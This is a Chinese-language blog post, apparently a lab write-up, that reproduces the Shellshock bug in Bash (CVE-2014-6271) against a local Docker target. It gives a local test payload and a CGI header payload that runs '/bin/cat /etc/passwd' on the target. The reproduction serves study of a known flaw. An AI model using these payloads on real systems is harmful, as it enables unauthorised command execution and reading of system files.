12
0
0

Bash 破壳漏洞(CVE-2014-6271)

2026-07-01
2026-10-12
Bash 破壳漏洞(CVE-2014-6271)
文章摘要
|

介绍

GNU Bash 4.3及之前版本在评估某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行Shell命令。某些服务和应用允许未经身份验证的远程攻击者提供环境变量以利用此漏洞。此漏洞源于在调用Bash Shell之前可以用构造的值创建环境变量。这些变量可以包含代码,在Shell被调用后会被立即执行。

原理

父进程中的特殊变量字符串(这里指字符串内容为函数)成为环境变量后,在子进程中调用该字符串时将其理解为函数执行


环境说明

靶机:Ubuntu24.04 IP:192.168.75.132

攻击机:Win11

参考文档:Bash 破壳漏洞Shellshock (CVE-2014-6271)复现分析

靶机环境配置

进入 CVE-2014-6271 目录,启动环境

image-20260701170535228

查看IP

image-20260701170644076

查看端口号

image-20260701170706920

在win11访问[IP:8080]

image-20260701170742318

本地漏洞验证

进入docker容器

 docker exec -it [id] bash

执行Payload

 env x='() { :;}; echo shellshocked' bash -c "echo hi"
image-20260701171149690

证明存在漏洞

漏洞利用场景

  1. 程序在某一时刻使用 bash 作为脚本解释器处理环境变量赋值

  2. 环境变量的赋值字符串来源于用户输入 , 且没有通过有效的过滤

漏洞利用

访问靶机服务

 http://[IP]/victim.cgi
image-20260701171704831

使用HackBar利用如下Payload

 () { :; }; echo; /bin/cat /etc/passwd
image-20260701171846910

结果显示命令被执行,漏洞利用成功

image-20260701171940448

支持与分享

如果这篇文章对你有帮助,欢迎分享给更多人或者给予支持!

Bash 破壳漏洞(CVE-2014-6271)
/archives/0qkKRh5h
作者
Ha-zero
发布于
2026-07-01
许可协议
CC BY-NC-SA 4.0

欢迎来到我的博客!